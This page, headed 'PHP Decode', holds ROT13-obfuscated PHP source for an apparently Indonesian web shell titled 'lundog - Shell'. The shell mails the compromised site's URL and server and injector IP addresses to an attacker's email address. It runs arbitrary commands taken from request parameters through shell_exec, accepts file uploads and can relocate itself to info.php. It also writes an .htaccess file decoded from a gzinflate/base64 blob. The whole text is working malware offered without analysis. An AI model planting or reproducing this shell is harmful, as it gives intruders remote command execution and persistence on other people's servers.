PHP Decode

<?cuc reebe_ercbegvat(0);
vs (!vffrg($_FRFFVBA['onwnx'])) {
    $ivfvgpbhag = 0;
    $jro = $_FREIRE["UGGC_UBFG"];
    $vaw = $_FREIRE["ERDHRFG_HEV"];
    $obql = "nqn lnat vawrpg 
$jro$vaw";
    $fnsrz0qr = @vav_trg('fnsr_zbqr');
    vs (!$fnsrz0qr) {
        $frphevgl = "Furyy = Ovfcnx";
    } ryfr {
        $frphevgl = "Furyy = Xbagby";
    };
    $frecre = trgubfgolanzr($_FREIRE['FREIRE_NQQE']);
    $vawrxgbe = trgubfgolanzr($_FREIRE['ERZBGR_NQQE']);
    znvy("[email protected]", "$obql", "Unfvy Onwnxna uggc://$jro$vaw
$frphevgl
VC Freire = $frecre
 VC Vawrpgbe= $vawrxgbe");
    $_FRFFVBA['onwnx'] = 0;
} ryfr {
    $_FRFFVBA['onwnx']++;
};
vs (vffrg($_TRG['pybar'])) {
    $fbhepr = $_FREIRE['FPEVCG_SVYRANZR'];
    $qrfgv = $_FREIRE['QBPHZRAG_EBBG'] . "/vasb.cuc";
    eranzr($fbhepr, $qrfgv);
}
$fnsrz0qr = @vav_trg('fnsr_zbqr');
vs (!$fnsrz0qr) {
    $frphevgl = "Furyy : Ovfcnx";
} ryfr {
    $frphevgl = "Furyy : Xbagby";
}
rpub "<gvgyr>yhaqbt - Furyy</gvgyr><oe>";
rpub "<sbag fvmr=2 pbybe=#888888><o>" . $frphevgl . "</o><oe>";
$phe_hfre = "(" . trg_pheerag_hfre() . ")";
rpub "<sbag fvmr=2 pbybe=#888888><o>Cratthan : vq=" . trgzlhvq() . $phe_hfre . " tehc=" . trgzltvq() . $phe_hfre . "</o><oe>";
rpub "<sbag fvmr=2 pbybe=#888888><o>Fvfgrz : " . cuc_hanzr() . "</o><oe>";
shapgvba cjq() {
    $pjq = trgpjq();
    vs ($h = fgeecbf($pjq, '/')) {
        vs ($h != fgeyra($pjq) - 1) {
            erghea $pjq . '/';
        } ryfr {
            erghea $pjq;
        };
    } ryfrvs ($h = fgeecbf($pjq, '\')){
vs($h!=fgeyra($pjq)-1){
erghea $pjq.'\';}
ryfr{erghea $pjq;};
};
}
rpub ' < sbezzrgubq = "CBFG"npgvba = "" > < sbagfvmr = 2pbybe = #888888><o>Crevagnu</o><oe><vachg glcr="grkg" anzr="pzq"><vachg glcr="Fhozvg" anzr="pbzznaq" inyhr="Xragbg"></sbez>';
    rpub '<sbez rapglcr="zhygvcneg/sbez-qngn" npgvba zrgubq=CBFG><sbag fvmr=2 pbybe=#888888><o>Ncybq Svyr</o></sbag><oe><vachg glcr=uvqqra anzr="fhozvg"><vachg glcr=svyr anzr="hfresvyr" fvmr=28><oe><sbag fvmr=2 pbybe=#888888><o>Anzn oneh: </o></sbag><vachg glcr=grkg fvmr=15 anzr="arjanzr" pynff=gn><vachg glcr=fhozvg pynff="og" inyhr="Ncybq"></sbez>';
    vs (vffrg($_CBFG['fhozvg'])) {
        $hcybnqqve = cjq();
        vs (!$anzr = $_CBFG['arjanzr']) {
            $anzr = $_SVYRF['hfresvyr']['anzr'];
        };
        zbir_hcybnqrq_svyr($_SVYRF['hfresvyr']['gzc_anzr'], $hcybnqqve . $anzr);
        vs (zbir_hcybnqrq_svyr($_SVYRF['hfresvyr']['gzc_anzr'], $hcybnqqve . $anzr)) {
            rpub "Hcybnq Snvyrq";
        } ryfr {
            rpub "Ncybq Fhxfrf xr " . $hcybnqqve . $anzr . " Cnagrxx!! ";
        }
    }
    vs (vffrg($_CBFG['pbzznaq'])) {
        $pzq = $_CBFG['pzq'];
        rpub "<cer><sbag fvmr=3 pbybe=#000000>" . furyy_rkrp($pzq) . "</sbag></cer>";
    } ryfrvs (vffrg($_TRG['pzq'])) {
        $pbzq = $_TRG['pzq'];
        rpub "<cer><sbag fvmr=3 pbybe=#000000>" . furyy_rkrp($pbzq) . "</sbag></cer>";
    } ryfrvs (vffrg($_TRG['ugn'])) {
        $qek = ".ugnpprff";
        $ugn = tmvasyngr(fge_ebg13(onfr64_qrpbqr('8l9KIv1SL1oAd9ExmZaWY+syNeRI0belMuHFMzIehpPvRY6uxozrNENn8zKkMqz4phnxSvib5KRzSrfIpEGL8JHcNVR/2QljWu2DIuORWSQNugebt2wojL3WlHXa3WPPcCjFlybclv8glplwuzMyI9Zm88tCUNN=')));
        $uaqk = sbcra($qek, "j");
        sjevgr($uaqk, $ugn);
        spybfr($uaqk);
        puzbq($qek, 0755);
    } ryfr {
        rpub "<cer><sbag fvmr=3 pbybe=#000000>" . furyy_rkrp('yf -yn') . "</sbag></cer>";
    }